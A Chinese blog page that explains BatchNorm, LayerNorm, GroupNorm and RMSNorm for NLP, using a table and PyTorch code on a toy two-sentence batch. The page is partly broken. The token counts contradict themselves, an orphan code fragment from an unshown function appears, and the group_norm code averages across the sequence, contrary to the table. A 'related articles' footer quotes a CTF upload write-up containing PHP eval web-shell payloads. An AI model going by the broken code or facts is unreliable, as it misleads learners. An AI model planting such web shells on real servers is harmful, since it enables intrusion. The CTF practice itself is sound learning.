以nlp为例,区分BatchNorm、LayerNorm、GroupNorm、RMSNorm

        以nlp中一个小批次数据,详细区分BatchNorm、LayerNorm、GroupNorm、RMSNorm。这几种归一化的不同。如下表格,从计算范围、统计量、计算复杂度以及应用场景等方面的差异给出。

方法计算范围统计量计算复杂度应用场景
BatchNorm跨所有句子的同一维度使用批次统计量O(batch_size * seq_len)适合 CNN,需要较大 batch size
LayerNorm单个 Token 的所有维度使用单 Token 的统计量O(embedding_dim)适合 Transformer,独立于 batch size
GroupNorm单个 Token 的维度组使用组内统计量O(embedding_dim / num_groups)适合小 batch size 场景
RMSNorm单个 Token 的所有维度,但简化计算只使用 RMS 值O(embedding_dim),但运算更简单适合需要高效计算的场景

假设小批量数据是: 

句子1: "我来自加拿大,那是一个美丽的国家" (10个token)
句子2: "你来自加拿大的哪个城市?" (8个token)

假设各个句子的嵌入式数值如下:

import torchdef create_sample_data():"""创建示例数据:两个中文句子的词嵌入句子1: "我/来自/加拿大/,/那是/一个/美丽的/国家"句子2: "你/来自/加拿大/的/哪个/城市/?""""# 创建两个示例句子的嵌入# batch_size=2, max_seq_len=8 (用padding补齐), embedding_dim=10data = torch.tensor([# 句子1的词嵌入 (8个token)[[2.1, -1.5, 0.8, 3.2, -0.4, 1.7, -2.3, 0.5, 1.9, -1.1],  # "我"[1.5, 2.2, -0.7, 1.8, 2.5, -1.2, 1.6, -0.8, 2.0, 1.4],   # "来自"[2.8, -1.9, 1.5, -0.6, 2.1, 1.8, -1.4, 2.2, -0.5, 1.7],  # "加拿大"[0.5, 1.2, -1.8, 2.4, -0.9, 1.5, -2.0, 0.7, 1.6, -1.3],  # ","[1.9, -2.1, 0.6, 1.7, -1.5, 2.3, -0.8, 1.4, -1.9, 2.5],  # "那是"[2.2, 1.6, -1.1, 2.0, -0.3, 1.9, -1.7, 0.9, 2.4, -0.6],  # "一个"[1.7, -1.4, 2.3, -0.5, 1.8, -2.2, 0.8, 1.5, -1.2, 2.1],  # "美丽的"[2.4, -0.8, 1.6, -1.3, 2.7, -0.4, 1.2, -1.8, 2.3, -0.7], # "国家"],# 句子2的词嵌入 (7个token + 1个padding)[[1.8, -2.0, 1.2, 2.8, -0.9, 2.1, -1.8, 0.3, 2.2, -0.7],  # "你"[1.4, 2.5, -0.8, 1.9, 2.3, -1.5, 1.7, -0.6, 2.1, 1.2],   # "来自"[2.6, -1.7, 1.4, -0.5, 2.2, 1.6, -1.3, 2.4, -0.4, 1.8],  # "加拿大"[0.7, 1.3, -1.6, 2.2, -1.0, 1.4, -1.9, 0.8, 1.5, -1.4],  # "的"[2.0, -1.8, 0.9, 1.6, -1.2, 2.5, -0.7, 1.3, -1.7, 2.3],  # "哪个"[2.3, 1.5, -1.2, 1.8, -0.5, 1.7, -1.6, 1.0, 2.2, -0.8],  # "城市"[1.6, -1.3, 2.1, -0.4, 1.9, -2.0, 0.6, 1.7, -1.1, 2.0],  # "?"[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],      # padding]], dtype=torch.float32)return data

这段代码生成了一个 2×8×10 的张量,表示 2 个句子,每个句子有 8个 Token,每个 Token 的嵌入维度为 10。下面是各种norm的实现。具体每种的详细讲解请看:

RMSNorm 、GroupNorm、LayerNorm、BatchNorm

提示:关注形状。

 # 创建掩码来处理不同长度的句子mask = torch.zeros(batch_size, max_seq_len)mask[0, :8] = 1  # 第一个句子长度为8mask[1, :7] = 1  # 第二个句子长度为7return embeddings, maskdef batch_norm(x, eps=1e-5):"""BatchNorm实现Args:x: shape [batch_size, seq_len, embedding_dim]eps: 数值稳定性常数Returns:normalized: shape [batch_size, seq_len, embedding_dim]"""# 在batch和seq_len维度上计算均值和方差# mean shape: [1, 1, embedding_dim]mean = x.mean(dim=(0, 1), keepdim=True)# var shape: [1, 1, embedding_dim]var = x.var(dim=(0, 1), unbiased=False, keepdim=True)# 归一化normalized = (x - mean) / torch.sqrt(var + eps)return normalizeddef layer_norm(x, eps=1e-5):"""LayerNorm实现Args:x: shape [batch_size, seq_len, embedding_dim]eps: 数值稳定性常数Returns:normalized: shape [batch_size, seq_len, embedding_dim]"""# 在最后一个维度(embedding_dim)上计算均值和方差# mean shape: [batch_size, seq_len, 1]mean = x.mean(dim=-1, keepdim=True)# var shape: [batch_size, seq_len, 1]var = x.var(dim=-1, unbiased=False, keepdim=True)# 归一化normalized = (x - mean) / torch.sqrt(var + eps)return normalizeddef group_norm(x, num_groups=2, eps=1e-5):"""GroupNorm实现Args:x: shape [batch_size, seq_len, embedding_dim]num_groups: 分组数eps: 数值稳定性常数Returns:normalized: shape [batch_size, seq_len, embedding_dim]"""batch_size, seq_len, embedding_dim = x.shape# 重塑张量以进行分组归一化# 将embedding_dim分成num_groups组x = x.reshape(batch_size, seq_len, num_groups, embedding_dim // num_groups)# 在seq_len和每组内计算均值和方差# mean shape: [batch_size, 1, num_groups, 1]mean = x.mean(dim=(1, 3), keepdim=True)# var shape: [batch_size, 1, num_groups, 1]var = x.var(dim=(1, 3), unbiased=False, keepdim=True)# 归一化normalized = (x - mean) / torch.sqrt(var + eps)# 重塑回原始形状normalized = normalized.reshape(batch_size, seq_len, embedding_dim)return normalizeddef rms_norm(x, eps=1e-5):"""RMSNorm实现Args:x: shape [batch_size, seq_len, embedding_dim]eps: 数值稳定性常数Returns:normalized: shape [batch_size, seq_len, embedding_dim]"""# 计算RMS (Root Mean Square)# rms shape: [batch_size, seq_len, 1]rms = torch.sqrt(torch.mean(x ** 2, dim=-1, keepdim=True) + eps)# 归一化 (只除以RMS,不减均值)normalized = x / rmsreturn normalized

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/63366.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C# 高效编程指南:从命名空间到异常处理的技巧与最佳实践

在这条成长的路上,有一些核心概念将成为你开发过程中的得力助手—命名空间、预处理指令、正则表达式、异常处理和文件输入输出,这些看似独立的技术,实际上在大多数应用中都紧密相连,共同构成了C#开发的基础。 目录 C#命名空间 C…

普及组集训--图论最短路径设分层图

P4568 [JLOI2011] 飞行路线 - 洛谷 | 计算机科学教育新生态 可以设置分层图:(伪代码) E(u,v)w;无向图 add(u,v,w),add(v,u,w); for(j1~k){add(ujn,vjn,w);add(vjn,ujn,w);add(ujn-j,vjn-j,0);add(vjn-j,ujn-j,0); } add(ujn-j,vjn-j,0); add(vjn-j,uj…

常用传感器介绍合集

SW-520D倾斜传感器 HX711模块:高精度称重的核心利器 GY302光照传感器模块详解 MLX90614红外测温传感器介绍 MAX30102心率血氧传感器模块:精准健康监测的利器 RGB颜色传感器简介 DS18B20温度传感器模块 人体红外传感器简介 FC-28土壤湿度传感器 …

gitee常见命令

目录 1.本地分支重命名 2.更新远程仓库分支 3.为当前分支设置远程跟踪分支 4.撤销已经push远程的代码 5.idea->gitee的‘还原提交’ 需要和本地当前的代码解决冲突 解决冲突 本地工作区的差异代码显示 本地commit和push远程 6.idea->gitee的‘将当前分支重置到此…

C++设计模式(建造者、中介者、备忘录)

一、建造者模式 将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。 示例: //房子(产品类) class House { private:int rooms;int windows;string decoration; public:void setRooms(int r) {rooms …

简易图书管理系统

javawebjspservlet 实体类 package com.ghx.entity;/*** author :guo* date :Created in 2024/12/6 10:13* description:* modified By:* version:*/ public class Book {private int id;private String name;private double pri…

什么是甘特图?使用甘特图制定项目计划表的步骤

在项目管理中,项目计划是项目的核心要素,它详细记录了项目任务详情、责任人、时间规划以及所需资源。 这份计划不仅为项目推进提供指引,更是控制范围蔓延、争取更多支持的有力工具。 在项目管理中,项目计划是项目的核心要素&…

mock.js介绍

mock.js http://mockjs.com/ 1、mock的介绍 *** 生成随机数据,拦截 Ajax 请求。** 通过随机数据,模拟各种场景;不需要修改既有代码,就可以拦截 Ajax 请求,返回模拟的响应数据;支持生成随机的文本、数字…

16.[极客大挑战 2019]Upload1

进入靶场 是文件上传类题目 随便传个图片 制作个含木马的 算了&#xff0c;直接抓包只传文件改格式好了 第一次传的是<?php eval($_POST[attack]);?> 第二次传的是GIF89a? <script language"php">eval($_REQUEST[1])</script> "GIF89a&…

标书里的“废标雷区”:你踩过几个?

在投标领域&#xff0c;标书的质量不仅决定了中标的可能性&#xff0c;更是体现企业专业度的关键。但即便是经验丰富的投标人&#xff0c;也难免会在标书编制过程中踩中“废标雷区”。这些雷区可能隐藏在技术方案的细节中&#xff0c;也可能是投标文件格式的规范问题。以下&…

22、共用体

1、共用体 共用体 --- 用法和结构体类似 共用体&#xff1a;多个成员共用同一段内存空间。 1.1、共用体定义 union 共用体名 { 成员类型 成员名; 成员类型 成员名; .... }; 共用体的类型名&#xff1a;union 共用体名 例子&#xff1a; 定义一个共用体里面有两个成员&…

CVPR和其他2024顶会论文阅读(资源整理【1】)

CVPR 2024论文阅读(资源整理【1】) 一、3d 重建与建模论文1-Deformable 3D Gaussians for High-Fidelity Monocular Dynamic Scene Reconstruction论文2- 4D Gaussian Splatting for Real-Time Dynamic Scene Rendering论文3-GaussianDreamer: Fast Generation from Text to …

电脑投屏到电脑:Windows,macOS及Linux系统可以相互投屏!

本篇其实是电脑远程投屏到另一台电脑的操作介绍。本篇文章的方法可用于Windows&#xff0c;macOS及Linux系统的相互投屏。 为了避免介绍过程中出现“这台电脑”投屏到“那台电脑”的混乱表述&#xff0c;假定当前屏幕投出端是Windows系统电脑&#xff0c;屏幕接收端是Linux系统…

视频质量评价算法 DOVER 介绍

DOVER DOVER项目: DOVER是为ICCV2023会议论文“Exploring Video Quality Assessment on User Generated Contents from Aesthetic and Technical Perspectives”提供的官方代码、演示和权重的项目。官网:https://vqassessment.github.io/DOVER/ GitHub:https://github.com/V…

单片机上各种输出模式和寄存器讲解

零、目录 1&#xff0c;什么是寄存器 2&#xff0c;单片机各种输出模式及其应用 一、什么是寄存器 我们直接以STM32芯片的架构为例子 单片机芯片组成两部分&#xff1a;内核&#xff0c;外设&#xff08;相当于电脑的CPU和其他一件主板&#xff0c;键盘显示器等&#xff09;…

基于内核DWT延时

1.软件延时缺点 2.硬件延时&#xff0c;利用系统提供的嘀嗒定时器。1ms进一次。 3.内核架构。该监视只有Cortex3以上的才有。 4.DWT硬件延时方案 5.使用步骤

文件操作---文件IO与标准IO

目录 一、带参数的main函数 带参main函数的格式 带参main的示例 二、文件操作 1、文件结构 2、文件操作的方式 3、文件IO和标准IO区别 ①概念介绍 ②主要区别 三、文件IO 1、特性 2、操作流程 3、相关函数 open close write read lseek 4、综合示例…

./configure 安装ngnix的命令

./configure 是一个在 Unix 和类 Unix 系统中常用的 shell 脚本命令&#xff0c;主要用于配置软件源代码包&#xff0c;以便进行编译和安装。这个命令通常在从源代码编译软件之前执行&#xff0c;它会自动检测系统的配置并生成适合该系统的 Makefile。 以下是 ./configure 脚本…

沈阳工业大学《2024年827自动控制原理真题》 (完整版)

本文内容&#xff0c;全部选自自动化考研联盟的&#xff1a;《沈阳工业大学827自控考研资料》的真题篇。后续会持续更新更多学校&#xff0c;更多年份的真题&#xff0c;记得关注哦~ 目录 2024年真题 Part1&#xff1a;2024年完整版真题 2024年真题

【DVWA】SQL Injection (Blind)

人的一生应当如何度过&#xff0c;我希望当我回首往事时&#xff0c;不因虚度年华而悔恨&#xff0c;也不因碌碌无为而羞愧&#xff0c;我可以对自己说&#xff1a;我不负此生。 1.SQL Injection (Blind)(Low) 相关代码分析 可以看到&#xff0c;Low级别的代码对参数id没有做…